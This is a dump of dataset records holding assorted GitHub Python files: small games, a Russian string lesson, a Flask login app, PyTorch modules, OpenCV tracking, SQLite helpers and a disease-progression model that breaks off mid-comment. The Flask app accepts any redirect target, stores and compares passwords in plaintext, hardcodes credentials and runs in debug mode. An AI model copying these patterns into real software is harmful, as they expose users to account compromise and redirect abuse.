False\r\nscore = 0\r\nused_words = []\r\nletters = select_letters()#Letters are selected randomly and saved in a variable.\r\n\r\n# Ask the user to select easy mode or hard mode.\r\nwhile True:\r\n mode = (input('Do you wish to play [e]asy mode or [h]ard mode?')).upper()\r\n \r\n #Validation for the mode to check whether the user input is invalid.\r\n if mode == 'E':\r\n print('Easy mode selected.\\n')\r\n hard_mode = False\r\n break\r\n elif mode == 'H':\r\n print('Hard mode selected. Entering an invalid word will end the game!\\n')\r\n hard_mode = True\r\n break\r\n else:\r\n print('Invalid input, please select a mode.\\n')\r\n\r\n\r\n# Enter gameplay loop.\r\nwhile True:\r\n # Display score, letter grid and prompt user for input.\r\n print('Score: ', score, '. Your letters are: \\n')\r\n display_letters(letters)\r\n \r\n user_input = (input('Enter a word, [s]huffle letters, [l]ist words, or [e]nd game:')).upper()\r\n \r\n if user_input == 'E':#If user enters 'E', end the game.\r\n print('Ending the game...')\r\n break \r\n elif user_input == 'S':#If user enters 'S', shuffle the letters\r\n random.shuffle(letters)\r\n print('Shuffling letters...\\n')\r\n elif user_input == 'L':#List previously entered words\r\n display_words(used_words)\r\n elif len(user_input) < 3:#If user has entered a word with less than 3 characters, it is considered as invalid.\r\n print('The word is invalid. Too short word.')\r\n if hard_mode:\r\n print('Game Over!')\r\n break \r\n elif user_input in used_words:#User has entered a word already entered before.\r\n print('Word already exists in the list.')\r\n if hard_mode:\r\n print('Game Over!')\r\n break\r\n elif validate_word(user_input, letters):#Validation for the given word is checked here.\r\n sc = request_scrabble_score(user_input)#If a valid word is given, the score is calculated.\r\n print('Word accepted. Score for the word is :' , sc)\r\n score += sc\r\n used_words.append(user_input)\r\n else:\r\n print('Invalid word entered.')\r\n if hard_mode:\r\n print('Game Over!')\r\n break\r\n \r\nprint('Your final score is : ', score)\r\n\r\nif score > 50:\r\n print('Congratulations! You have earned a good score.')\r\n #Loging data including letters, words and score in a file named 'log.txt' in json format.\r\n log_data(letters, used_words, score)\r\n\r\nprint('Thank you for playing!') \r\n \r\n\r\n\r\n \r\n","repo_name":"dineshapriyadarshanee/CodingFun","sub_path":"word_find.py","file_name":"word_find.py","file_ext":"py","file_size_in_byte":6576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5654760537","text":"# Строки\nwords = \"Hello, \\\"Мой друг\\\"!\" # чтобы поставить кавычки\nprint(words)\nperenos = \"hello \\n kek\" # Перенос строки\nprint(perenos)\nobratniy_slesh = \"Тут обратный слеш \\\\\" # \\\\ для вывода \\\nprint(obratniy_slesh)\n\n# Чтобы задать одной переменной длинный текст нужно использовать \\n\\ для переноса строки н.п:\n\ndlinniy_text = \"Над небом облака \\n\\\nИ яркая луна \\n\\\nВесят над нами звезды \\n\\\nНа на на\"\nprint(dlinniy_text)\n# Также можно объеденить в логическую строку\ndlinniy_text = (\"Над небом облака \\n\"\n \"И яркая луна \\n\"\n \"Весят над нами звезды \\n\"\n \"На на на\")\nprint(dlinniy_text)\n\n# и еще одна версия: # \\\ndlinniy_text = \"\"\"\\\nНад небом облака \nИ яркая \"луна\" \nВесят над 'нами' звезды \nНа на на\\\n\"\"\"\nprint(dlinniy_text)\n","repo_name":"GilgameshH0/python","sub_path":"lesson6.py","file_name":"lesson6.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22009330927","text":"from flask import Flask, render_template, flash, redirect, url_for, request\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_bootstrap import Bootstrap\nfrom flask_login import login_user, current_user, login_required, LoginManager, logout_user\nimport os\nfrom knapsack01_solver import knapsack01\n\n\n# 取得啟動文件資料夾路徑\npjdir = os.path.abspath(os.path.dirname(__file__))\n\napp = Flask(__name__)\n# 新版本的部份預設為none,會有異常,再設置True即可。\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True\n# 設置資料庫為mysql\napp.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://test:root@mysql:3306/user'\napp.config['SECRET_KEY']='your key'\n\nbootstrap = Bootstrap(app)\ndb = SQLAlchemy(app)\nlogin_manager = LoginManager(app)\nlogin_manager.init_app(app)\nlogin_manager.login_view = 'login'\nSESSION_PROTECTION = 'strong'\n\n@login_manager.user_loader\ndef load_user(user_id):\n from model import Users\n return Users.query.get(user_id)\n\n# create the DB on demand\n@app.before_first_request\ndef create_tables():\n db.create_all()\n\n# registration\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n from form import FormRegister\n from model import Users\n form = FormRegister()\n if form.validate_on_submit():\n user = Users(\n username=form.username.data,\n email=form.email.data,\n password=form.password.data\n )\n db.session.add(user)\n db.session.commit()\n flash('註冊成功')\n return redirect(url_for('login'))\n return render_template('register.html', form=form)\n\n\n@app.route('/')\ndef index():\n return render_template('base.html')\n\n@app.route('/success')\ndef succ():\n return render_template('base.html')\n\n@app.route('/home')\ndef home():\n return render_template('home.html')\n\n@app.route('/home', methods=['POST'])\ndef home_post():\n coupon = request.values['coupon']\n items_amount = request.values['item']\n items_name = request.values['name']\n an_item_amount = request.values['amount']\n price = request.values['price']\n res_list, res_name, res = knapsack01(items_amount, coupon, an_item_amount, price, items_name)\n answer = '點'\n for name in res_name:\n answer += name + ','\n answer = answer[0:len(answer)-1]\n answer += '套餐, 可吃到最多份量為'\n answer += str(res)\n answer += '克(g)~'\n your_support = '感謝支持本服務!'\n return render_template('result.html', answer=answer, your_support=your_support)\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n from form import FormLogin\n from model import Users\n form = FormLogin()\n if form.validate_on_submit():\n # 當使用者按下login之後,先檢核帳號是否存在系統內。\n user = Users.query.filter_by(email=form.email.data).first()\n if user:\n # 當使用者存在資料庫內再核對密碼是否正確。\n if form.password.data == user.password:\n # 加入參數『記得我』\n login_user(user, form.remember_me.data)\n # 使用者登入之後,將使用者導回來源url。\n # 利用request來取得參數next\n next = request.args.get('next')\n # 自定義一個驗證的function來確認使用者是否確實有該url的權限\n if not next_is_valid(next):\n # 如果使用者沒有該url權限,那就reject掉。\n return 'Bad Boy!!'\n return redirect(next or url_for('home'))\n # return 'Welcome' + current_user.username\n else:\n # 如果密碼驗證錯誤,就顯示錯誤訊息。\n flash('錯誤的信箱或密碼')\n else:\n # 如果資料庫無此帳號,就顯示錯誤訊息。\n flash('錯誤的信箱或密碼')\n return render_template('login.html', form=form)\n\n# 加入function\ndef next_is_valid(url):\n return True\n\n\n\n@app.route('/logout')\n@login_required\ndef logout():\n logout_user()\n flash('Log Out See You.')\n return redirect(url_for('login'))\n\n\nif __name__ == '__main__':\n app.debug = True\n app.run(host=\"0.0.0.0\")\n","repo_name":"LiangHung/docker_flask_mysql","sub_path":"service/app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25016761691","text":"import Parameter_Check\nimport get_Operations\n\nclass Parameter(object):\n\n def __init__(self, n_fft=512, win_length=40, hop_length=40, window = \"hann\", symmetry = False, n_mels=40, power=2,\n mfccs=20, frequency_Axis='linear', disp_Ref=512, operations =\"SPEKTRUM\"):\n\n self.n_fft = n_fft\n self.win_length = win_length\n self.hop_length = hop_length\n self.window = window\n self.symmetry = symmetry\n self.n_mels = n_mels\n self.power = power\n self.mfccs = mfccs\n self.frequency_Axis = frequency_Axis\n self.display_Reference = disp_Ref\n self.operations = operations\n self.normalization_Dictionary = {\n \"SPEKTRUM\": 1 + self.n_fft / 2,\n \"MELSPEKTRUM\": self.n_mels,\n \"MFCCS\": self.mfccs\n }\n self.display_Dictionary = {\n \"SPEKTRUM\": self.frequency_Axis,\n \"MELSPEKTRUM\": 'mel',\n \"DB_SPEKTRUM\": self.frequency_Axis,\n \"MFCCS\": self.frequency_Axis\n }\n\n\n def check_Integrity(self):\n self.win_length = Parameter_Check.calc_Samples(self.win_length, 22050)\n self.hop_length = Parameter_Check.calc_Samples(self.hop_length, 22050)\n self.n_fft = Parameter_Check.check_FFT_Samples(self.n_fft, self.win_length)\n\n def set_Operations(self, input):\n self.operations = get_Operations.capitalize_Strings(input)\n\n def number_Display_Operations(self):\n return len(self.operations)\n","repo_name":"mschoeff/cryRecognition","sub_path":"Beans/parameter.py","file_name":"parameter.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23739939886","text":"import functools\nfrom models.init import init_fn\nimport torch\nimport torch.nn as nn\n\nclass ResBlock(nn.Module):\n def __init__(self, in_channels, mid_channels, out_channels):\n super(ResBlock, self).__init__()\n self.conv1 = nn.Conv2d(in_channels=in_channels, out_channels=mid_channels, kernel_size=3, stride=1, padding=1, bias=False)\n self.relu = nn.ReLU(inplace=True)\n self.conv2 = nn.Conv2d(in_channels=mid_channels, out_channels=out_channels, kernel_size=3, stride=1, padding=1, bias=False)\n\n def forward(self, x):\n output = self.conv2(self.relu(self.conv1(x)))\n output = torch.add(output, x)\n return output\n\nclass ResBlocks(nn.Module):\n def __init__(self, input_channels, num_resblocks, num_channels):\n super(ResBlocks, self).__init__()\n self.input_channels = input_channels\n self.first_conv = nn.Conv2d(in_channels=self.input_channels, out_channels=num_channels, kernel_size=3, stride=1, padding=1, bias=False)\n\n modules = []\n for _ in range(num_resblocks):\n modules.append(ResBlock(in_channels=num_channels, mid_channels=num_channels, out_channels=num_channels))\n self.resblocks = nn.Sequential(*modules)\n\n fn = functools.partial(init_fn, init_type='kaiming_normal', init_bn_type='uniform', gain=0.2)\n self.apply(fn)\n\n def forward(self, h):\n shallow_feature = self.first_conv(h)\n new_h = self.resblocks(shallow_feature)\n return new_h\n\nclass D(nn.Module):\n def __init__(self, in_channels, mid_channels, out_channels):\n super(D, self).__init__()\n layers = []\n layers.append(nn.Conv2d(in_channels=in_channels, out_channels=mid_channels, kernel_size=3, stride=1, padding=1, bias=False))\n layers.append(nn.ReLU())\n layers.append(nn.Conv2d(in_channels=mid_channels, out_channels=out_channels, kernel_size=3, stride=1, padding=1, bias=False))\n self.convs = nn.Sequential(*layers)\n\n fn = functools.partial(init_fn, init_type='kaiming_normal', init_bn_type='uniform', gain=0.2)\n self.apply(fn)\n\n def forward(self, x):\n x = self.convs(x)\n return x","repo_name":"nagejacob/FloRNN","sub_path":"models/components.py","file_name":"components.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"48"} +{"seq_id":"9472166433","text":"from lib2to3.pgen2.literals import simple_escapes\nimport random\nfrom time import sleep\nimport keyboard\ndurum_kontrol = True\ntotalpre = 0\ncorrect,false =0,0\ncontinue_durum = True\nwhile continue_durum:\n deger = int(input(\"Yazi degeri icin 0, Tura degeri icin 1 e basiniz\\n\"))\n if deger == 0:\n print(\"Yazi degerini sectiniz.\")\n durum_kontrol = True\n elif deger == 1:\n print(\"Tura Degerini Sectiniz\")\n durum_kontrol = True\n else:\n durum_kontrol = False\n\n while durum_kontrol:\n random_number = random.randint(0,2)\n print(\"bozuk para havada donuyor\")\n sleep(2.5)\n if random_number == deger:\n print(\"kazandiniz tebrikler\")\n correct += 1\n else:\n print(\"malesef yanlis bildiniz\")\n false += 1\n totalpre += 1\n \n","repo_name":"alpTokat/python-yazi-tura-pratice","sub_path":"Yazi_Tura_Tahmin.py","file_name":"Yazi_Tura_Tahmin.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"tr","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"2134949185","text":"\"\"\"\nVisa hur man kan läsa en textfil med ett ord per rad och få orden som en lista i sitt program. Alltså om filen är textfil så ska listan bli\n['Vad', 'tror', 'du', 'att', 'det', 'hände', 'sen', '?']\n\"\"\"\n\ndef read_words_from_file_to_list(filename):\n lines = []\n with open(filename) as f:\n for line_with_newline in f.readlines():\n line = line_with_newline.rstrip(\"\\n\")\n lines.append(line)\n return lines\n \ndef read_words_from_file_to_list_using_list_comprehension(filename):\n \"\"\"Like read_words_from_file_to_list, but written using\n a list comprehension.\n \"\"\"\n with open(filename) as f:\n return [line.rstrip(\"\\n\") for line in f.readlines()]\n\nfilename = \"min_fil.txt\"\nlines = read_words_from_file_to_list(filename)\nlines2 = read_words_from_file_to_list_using_list_comprehension(filename)\nprint(lines)\nprint(lines2)\n","repo_name":"Ran4/dd1331-public","sub_path":"ex05/ran_uppg2.py","file_name":"ran_uppg2.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2326028026","text":"#: api-config\nclass ApiConfig:\n def __init__(self):\n self.lookup_accounts_default_limit = 100\n self.lookup_accounts_max_limit = 1000\n\n self.list_assets_default_limit = 10\n self.list_assets_max_limit = 1000\n\n self.get_trade_history_default_limit = 10\n self.get_trade_history_max_limit = 100\n\n self.lookup_witness_accounts_default_limit = 100\n self.lookup_witness_accounts_max_limit = 1000\n\n self.commitee_member_accounts_default_limit = 100\n self.commitee_member_accounts_max_limit = 1000\n\n self.account_history_default_limit = 100\n self.account_history_max_limit = 100\n\n self.relative_account_history_default_limit = 100\n self.relative_account_history_max_limit = 100\n\n self.relative_account_history_start = 0\n self.relative_account_history_stop = 0\n\n self.account_history_operations_default_limit = 100\n self.account_history_operations_max_limit = 100\n\n self.contract_history_default_limit = 100\n self.contract_history_max_limit = 100\n\n self.order_book_default_depth = 50\n self.order_book_max_depth = 50\n\n self.start_operation_history_id = '1.10.0'\n self.stop_operation_history_id = '1.10.0'\n\n self.expiration_max_lag_seconds = 30\n","repo_name":"echoprotocol/echopy-lib","sub_path":"echopy/echobase/config/api_config.py","file_name":"api_config.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"71154342545","text":"import cv2\nimport numpy as np\nimport os\nimport time\n\n########## 定义变量 ##########\nVIDEONUMBER = 1\nCAMERA = 'walk' + str(VIDEONUMBER) + '.avi'\nVIDEOFILE = 'walk'\nfps = 20\nTEMPLATE = 'template.jpg'\nthreshold = 0.83\nes = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (9, 4))\nbackground = None\n##############################\n\n##定义鼠标事件##\nclicked = False\ndef onMouse(event, x, y, flags, param):\n global clicked\n if event == cv2.EVENT_LBUTTONUP:\n clicked = True\n\n##开启视频流##\ncameraCapture = cv2.VideoCapture(CAMERA)\ncv2.namedWindow(\"walk\")\ncv2.setMouseCallback(\"walk\", onMouse)\n\nsize = (int(cameraCapture.get(cv2.CAP_PROP_FRAME_WIDTH)),\n int(cameraCapture.get(cv2.CAP_PROP_FRAME_HEIGHT)))\n\nwhile os.path.exists(VIDEOFILE + str(VIDEONUMBER) + '.avi'):\n VIDEONUMBER = VIDEONUMBER + 1\n\n##载入模板##\ntemplate = cv2.imread(TEMPLATE,cv2.IMREAD_GRAYSCALE)\nblurredTemplate = cv2.GaussianBlur(template,(5,5),0)\nw, h = template.shape[::-1]\nradius = int(max([w/2, h/2]))\n\n# 加入倾斜的模板\n\n##程序主循环##\nsuccess, frame = cameraCapture.read()\nwhile success and cv2.waitKey(2) == -1 and not clicked:\n # startTime = time.time()\n\n if background is None:\n background = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n background = cv2.GaussianBlur(background, (5, 5), 0)\n continue\n\n frameCopy = frame.copy()\n grayFrame = cv2.cvtColor(frameCopy,cv2.COLOR_BGR2GRAY)\n blurredFrame = cv2.GaussianBlur(grayFrame,(5,5),0)\n # HSVFrame = cv2.cvtColor(blurredFrame,cv2.COLOR_BGR2HSV)\n\n diff = cv2.absdiff(background, blurredFrame)\n diff = cv2.threshold(diff, 25, 255, cv2.THRESH_BINARY)[1]\n diff = cv2.dilate(diff, es, iterations=2)\n image, cnts, hierarchy = cv2.findContours(diff.copy(),\n cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n zx, zy, zw, zh = [0, 0, 0, 0]\n for c in cnts:\n if cv2.contourArea(c) < 40000:\n continue\n (zx, zy, zw, zh) = cv2.boundingRect(c)\n cv2.rectangle(frameCopy, (zx, zy), (zx+zw, zy+zh), (0, 255, 0), 2)\n break\n\n # res是所有像素的评分\n res = cv2.matchTemplate(blurredFrame,blurredTemplate,cv2.TM_CCOEFF_NORMED)\n\n centers = []\n # loc包括两个array,一个表示行,另一个是列\n loc = np.where( res >= threshold )\n for pt in zip(*loc[::-1]): # pt是(x,y),按y从小到大排列\n center = (int(pt[0] + w/2), int(pt[1] + h/2)) # (x,y)坐标系\n # 非极大值抑制\n invalidPoint = 0\n if center[0] < zx or center[0] > zx+zw or center[1] < zy or center[1] > zy+zh:\n invalidPoint = 1\n else:\n for testpt in centers:\n if abs(testpt[1] - center[1]) < 10:\n invalidPoint = 1\n if not invalidPoint:\n centers.append(center)\n\n # 加核心颜色判断(HSV)\n \n\n\n # 画圆\n for chosedPt in centers:\n cv2.circle(frameCopy, chosedPt, radius, (255,0,0), 3)\n cv2.circle(frameCopy, chosedPt, 2, (0,0,255), 3)\n\n # 连线\n if len(centers) == 3 :\n for i in range(0, len(centers)):\n for j in range(i + 1, len(centers)):\n if centers[i][1] > centers[j][1]:\n centers[i], centers[j] = centers[j], centers[i]\n [i1, i2, i3] = centers\n cv2.line(frameCopy, i1, i2, (0,0,255),3)\n cv2.line(frameCopy, i2, i3, (0,0,255),3)\n\n cv2.imshow(\"walk-original\", frame)\n cv2.imshow(\"walk\", frameCopy)\n # cv2.imshow(\"walk\", blurredFrame)\n success, frame = cameraCapture.read()\n\n # endTime = time.time()\n # print(endTime - startTime)\n\ncameraCapture.release()\ncv2.destroyAllWindows()","repo_name":"XinArkh/MarkDetector","sub_path":"only_detecting.py","file_name":"only_detecting.py","file_ext":"py","file_size_in_byte":3691,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"43993778261","text":"# Chart intervals\n\nINTERVALS = ('5min', 'daily', 'weekly', 'monthly')\n\n\nclass Interval(object):\n\n def __init__(self, start_datetime, quote):\n price_attributes = ('open',\n 'close',\n 'high',\n 'low',\n 'adjusted_open',\n 'adjusted_close',\n 'adjusted_high',\n 'adjusted_low')\n for attribute in price_attributes:\n if attribute in quote:\n setattr(self, attribute, quote[attribute])\n\n\nclass Chart(object):\n\n def __init__(self, interval):\n if interval not in INTERVALS:\n raise Exception('Invalid interval ' + str(interval))\n","repo_name":"AlexandreDdaCosta/olympus","sub_path":"core/lib/securities/equities/chart.py","file_name":"chart.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"36157230052","text":"import requests\nimport json\n\nsearch_db = 'JGI_MAGS'\n\ndef query_sketch_mags(sw_url, input_upas, auth_token):\n '''\n Query the sketch service for items related to the workspace reference.\n\n sw_url: service wizard url\n input_upas: list of workspace references\n n_max_results: number of results to return\n auth_token: authorization token\n '''\n sketch_url = get_sketch_service_url(sw_url)\n\n results = {}\n for upa in input_upas:\n payload = {\n \"method\":\"get_homologs\",\n \"params\": {\n 'ws_ref': upa,\n 'search_db': search_db,\n 'n_max_results': 500\n }\n }\n\n print('='*80)\n print('sketch_url:',sketch_url)\n print('='*80)\n\n resp = requests.post(url=sketch_url, data=json.dumps(payload),\n headers={'content-type':'application/json', 'authorization':auth_token})\n results[upa] = parse_response(resp.json())\n return results\n\ndef parse_response(resp):\n '''\n parse the resonse from the sketch service.\n\n resp: json response body from sketch service\n '''\n if resp.get('error'):\n raise RuntimeError(\"Sketch Service Error: \",resp['error'])\n if not resp.get('result'): \n raise ValueError(\"No results in JSON response body\")\n if not resp['result'].get('distances'):\n raise ValueError(\"No Distances in JSON response\")\n\n id_to_dist_and_kbid_and_relatedids = {}\n for d in resp['result']['distances']:\n id_ = d.get('sourceid')\n kb_id = d.get('kbase_id', None)\n relatedids = d.get('relatedids', None)\n dist = float(d.get('dist'))\n id_to_dist_and_kbid_and_relatedids[id_] = (dist, kb_id, relatedids)\n return id_to_dist_and_kbid_and_relatedids\n\n\ndef get_sketch_service_url(sw_url):\n '''\n get the most recent sketch_service url from the service wizard. \n\n sw_url: service wizard url\n '''\n json_obj = {\n \"method\":\"ServiceWizard.get_service_status\",\n \"id\":\"\",\n \"params\":[{\"module_name\":\"sketch_service\",\"version\":\"beta\"}],\n \"version\":\"1.1\"\n }\n sw_resp = requests.post(url=sw_url, data=json.dumps(json_obj))\n sketch_resp = sw_resp.json()\n sketch_url = sketch_resp['result'][0]['url']\n return sketch_url\n","repo_name":"kbaseapps/mags_mash","sub_path":"lib/mags_mash/utils/mags_query.py","file_name":"mags_query.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30650541736","text":"import sqlite3\nfrom sqlite3 import Error\nfrom exchange import Exchange\n\n\nclass Database:\n \"\"\"\n class that will help us to close connection when we'll be using command - \"with\"\n \"\"\"\n\n def __init__(self, db_file=r'./currencyRate.db'):\n self.connection = sqlite3.connect(db_file)\n\n def __enter__(self):\n return self.connection\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.connection.close()\n\n\ndef create_table(connection, table_name='currency_rate'):\n \"\"\"\n create tables that will be containing currency rate by each currency code\n \"\"\"\n\n sql_create_table = f'''create table if not exists {table_name} (\n code text not null primary key,\n rate real);'''\n\n cursor = connection.cursor()\n cursor.execute(sql_create_table)\n\n\ndef insert_record(connection, values, table_name='currency_rate'):\n \"\"\"\n creating record into currency rate table\n :param connection:\n :param table_name:\n :param values: inserting into table_name parameters\n \"\"\"\n\n sql_insert = f'''insert into {table_name}(code, rate) values(?,?)'''\n\n cursor = connection.cursor()\n try:\n cursor.execute(sql_insert, values)\n connection.commit()\n except Error as e:\n print(e)\n\n\ndef insert_all_records(connection, table_name='currency_rate'):\n \"\"\"\n creating all record in currency rate table\n :param connection:\n :param table_name:\n :return:\n \"\"\"\n exch = Exchange()\n\n for code, rate in exch.all_rates.items():\n pars = (code, rate)\n insert_record(connection, pars, table_name)\n\n\ndef update_record(connection, pk, parameter, table_name='currency_rate'):\n \"\"\"\n update one record in certain currency table\n :param connection:\n :param table_name:\n :param pk: record needed to update\n :param parameter: a parameter that old parameter will be replaced\n :return:\n \"\"\"\n cursor = connection.cursor()\n sql_update = f'''update {table_name}\n set rate = {parameter}\n where code = '{pk}';'''\n\n try:\n cursor.execute(sql_update)\n connection.commit()\n except Error as e:\n print(e)\n\n\ndef update_table(connection, table_name='currency_rate'):\n \"\"\"\n updating whole table\n :param table_name:\n :param connection:\n :return:\n \"\"\"\n\n exch = Exchange()\n for code, rate in exch.all_rates.items():\n update_record(connection, code, rate, table_name)\n\n\nif __name__ == '__main__':\n with Database() as con:\n pass\n","repo_name":"radik1999/currencyexchangeapi","sub_path":"dbTools.py","file_name":"dbTools.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42175214581","text":"import pytest\n\nfrom app.utils.validators import validate_hours_periods\n\n\ndef test_validate_hours_periods():\n invalid_periods = [\n ['12:30 14:00'], # Without '-'\n ['12.30-14.00'], # Invalid time format. Must be 'HH:MM'\n ['12:30-14:00', '15:00 17:00'], # One period is invalid\n ['12:30-14:00-17:00'], # Period must contain just 2 point\n ]\n for period in invalid_periods:\n with pytest.raises(ValueError):\n validate_hours_periods(period)\n\n valid_periods = [\n ['15:00-17:00', '12:30-14:00'],\n ['8:00-09:00'],\n ]\n for period in valid_periods:\n validate_hours_periods(period)\n","repo_name":"KupriyanovVladislav/sweet-delivery","sub_path":"app/tests/test_validators.py","file_name":"test_validators.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33153328427","text":"# encoding: utf-8\n\"\"\"\n@author : zhirui zhou\n@contact: evilpsycho42@gmail.com\n@time : 2020/9/27 15:04\n\"\"\"\nimport torch\nimport torch.nn as nn\n\n\nclass MultiEmbeddings(nn.Module):\n\n def __init__(self, *variable_params):\n # example: *[(name, num_embeddings, embedding_dim), ... ]\n super().__init__()\n self.params = variable_params\n self.embeddings = nn.ModuleDict({\n name: nn.Embedding(s, e) for (name, s, e) in variable_params\n })\n\n def forward(self, input):\n return torch.cat([self.embeddings[name](input[name]) for (name, _, _) in self.params], dim=2)\n\n\nclass Empty(nn.Module):\n\n def __init__(self, size):\n self.size = size\n super().__init__()\n\n def forward(self, x):\n return x\n\n def extra_repr(self):\n return f\"{self.size}\"\n\n\nclass Inputs(nn.Module):\n\n def __init__(self, inputs_config=None):\n super().__init__()\n self.inputs_config = inputs_config\n if inputs_config is not None:\n self.numerical = inputs_config.get(\"numerical\")\n self.categorical = inputs_config.get(\"categorical\")\n self.output_size = 0\n if self.categorical is not None:\n self.categorical_inputs = MultiEmbeddings(*self.categorical)\n self.output_size += sum([i[2] for i in self.categorical])\n\n if self.numerical is not None:\n self.numerical_inputs = nn.ModuleDict({name: Empty(size) for (name, size) in self.numerical})\n self.output_size += sum([i[1] for i in self.numerical])\n else:\n self.output_size = 0\n\n def forward(self, feed_dict):\n # batch, seq, N\n if self.inputs_config is not None:\n outputs = []\n if self.categorical is not None:\n outputs.append(self.categorical_inputs(feed_dict))\n if self.numerical is not None:\n for (name, _) in self.numerical:\n outputs.append(self.numerical_inputs[name](feed_dict[name]))\n return torch.cat(outputs, dim=2)\n else:\n return None\n","repo_name":"EvilPsyCHo/Deep-Time-Series-Prediction","sub_path":"deepseries/model/seq2seq/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","stars":492,"dataset":"github-code","pt":"48"} +{"seq_id":"42088930081","text":"\nimport numpy as np\nfrom create_gamma_ij import *\nfrom create_y_tilde import *\nfrom objective_magnitude import *\nfrom exponential_solver import *\n\n\n\ndef W_optimize_Gaussian(db):\n\ty_tilde = create_y_tilde(db)\n\tdb['y_tilde'] = y_tilde\n\n\tdb['Z_matrix'] = db['W_matrix']\n\tdb['L1'] = np.eye(db['q'])\n\tdb['L2'] = np.eye(db['q'], db['d'])\n\tdb['L'] = np.append(db['L1'], db['L2'].T, axis=0)\n\n\t\n\tuse_all_data = True\n\t#use_all_data = False\n\tif use_all_data :\n\t\tiv = np.array(range(db['N']))\n\t\tjv = iv\n\telse:\n\t\ti_values = np.random.permutation( np.array(range(db['N'])) )\n\t\tiv = i_values[0:db['SGD_size']]\n\t\tj_values = np.random.permutation( np.array(range(db['N'])) )\n\t\tjv = j_values[0:db['SGD_size']]\n\n\teSolver = exponential_solver(db, iv, jv, y_tilde)\n\toptimize_result = eSolver.run()\n\n\t#print db['W_matrix']\n\t#import pdb; pdb.set_trace();\n\n","repo_name":"taohong08/ISM","sub_path":"lib/W_optimize_Gaussian_ADMM.py","file_name":"W_optimize_Gaussian_ADMM.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5681536793","text":"import voxelDPM\n# import VDPMMean\nimport numpy as np\nimport scipy\nimport sys\nfrom env import *\nimport os\nimport pickle\nimport sklearn\nimport math\nimport numpy.ma as ma\nimport VDPMNan\n\n\n''' Class for a Voxelwise Disease Progression Model that can handle missing data (NaNs).\n uses masked arrays for fitting the model (hence no data inference in E-step)\n\n VDPM for NaNs that doesn't use the fast implementation, which created some problems\n as it biased the SSD calculation, since when there was missing data corresponding to a high\n clustering probability, the error was dominated by the other (present) biomkarker data that\n had correspondingly low clustering probabilities for that particular cluster\n\n'''\n\nclass VDPMNanNonMeanBuilder(voxelDPM.VoxelDPMBuilder):\n # builds a voxel-wise disease progression model\n\n def __init__(self, isClust):\n super().__init__(isClust)\n\n def generate(self, dataIndices, expName, params):\n return VDPMNanNonMean(dataIndices, expName, params, self.plotterObj)\n\nclass VDPMNanNonMean(VDPMNan.VDPMNan):\n def __init__(self, dataIndices, expName, params, plotterObj):\n super().__init__(dataIndices, expName, params, plotterObj)\n\n self.nanMask = np.nan\n\n\n def runInitClust(self, runPart, crossData, crossDiag):\n # printStats(longData, longDiag)\n nrClust = self.params['nrClust']\n\n os.system('mkdir -p %s' % self.outFolder)\n initClust = np.array(range(nrClust))\n assert nrClust == crossData.shape[1]\n\n return initClust\n\n def inferMissingData(self, crossData,longData, prevClustProbBC, thetas, subShiftsCross,\n crossAge1array, trajFunc, scanTimepts, partCode, uniquePartCode, plotterObj):\n\n ''' don't do anything, leave data with NaNs in this model! '''\n\n self.nanMask = np.isnan(crossData)\n plotterObj.nanMask = self.nanMask\n plotterObj.longDataNaNs = longData\n\n crossDataMasked = np.ma.masked_array(crossData, np.isnan(crossData))\n longDataMasked = [np.ma.masked_array(d, np.isnan(d))\n for d in longData]\n\n return crossDataMasked, longDataMasked\n\n # def recompResponsib(self, crossData, longData, crossAge1array, thetas, variances, subShiftsCross,\n # trajFunc, prevClustProbBC, scanTimepts, partCode, uniquePartCode):\n # # overwrite function as we need to use a different variance (in the biomk measurements as opposed to their mean)\n # return prevClustProbBC, crossData, longData\n\n def recompResponsib(self, crossData, longData, crossAge1array, thetas, variances, subShiftsCross,\n trajFunc, prevClustProbBC, scanTimepts, partCode, uniquePartCode):\n # overwrite function as we need to use a different variance (in the biomk measurements as opposed to their mean)\n\n # I can loop over all the subjects and timepoints and add matrices log p(z_t | k) = log p(z_t | k, sub1,\n # tmp1) + log 